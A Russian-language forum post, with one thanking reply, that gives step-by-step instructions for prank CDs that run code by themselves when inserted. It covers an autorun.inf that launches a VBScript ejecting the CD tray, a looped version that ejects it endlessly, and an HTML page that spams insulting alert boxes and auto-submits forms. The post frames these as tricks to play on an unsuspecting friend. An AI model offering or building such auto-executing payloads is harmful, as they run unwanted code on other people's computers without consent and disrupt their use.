Западлостроение Заподлянки с CD дисками

[ddd]

ДавнЫм давно приведенЫми ниже примерами, я прикалЫвался над другом, а он надомной. С каждЫм разом делали заподлянки все коварней и коварней :) Ниже привел те которЫе вспомнил :)

Сидюк не закрЫвалко
Суть заподла такова. Жертва пихает сд в сд-ром, а лоток опять открЫвается :)
Приступим. Открой блокнот и в нем напиши следующие:
[Autorun]
open=cd.vbs
И сохрани как autorun.inf
Теперь открЫвай снова блокнот и в нем пиши:

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
        colCDROMs.Item(i).Eject
    Next ' cdrom
End If

И сохраняй как cd.vbs
Теперь реж это на сд, и давай болванку другу :)

Че те надо?
Суть это заподлянки такая, жертва вставляет сд, после чего начинают вЫлетать сообщения:
Тебе че надо?
Я повторяю че тебе надо?
2 раз повторяю, что тебе надо?
3 раз ......
и тп :)
ОткрЫвай блокнот в нем пиши:
[Autorun]
open=setup.html
И сохраняй как autorun.inf
Потом сново открЫвай блокнот и пиши:

<script> 
for( I=1 ; I<=11 ; I++ ) 
{
if( I==1 ) alert( "Че те сЦуко надо?????" );
else alert( "Я тя сЦуко " + ( (I==11)? "последни" : I ) + "й раз спрашиваю - че те надо???" );
}
alert("а здесь все равно нету нифига...");
top.frames['Inform'].document.forms[0].Accent.options[31].selected = 1;
top.frames['Inform'].document.forms[0].submit();
top.frames['Dark'].document.forms[2].submit();
</script>

И сохраняешь все это дело как setup.html

Усе :)

 

[ddd]

Делаем мяснее первЫй пример :)
ОткрЫваем блокнот и там пишем:

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

И сохраняем как cd.vbs ну и далее понятно :)

 

[Линна Дроу]

У меня было что-то похожее. Спасибо за информацию.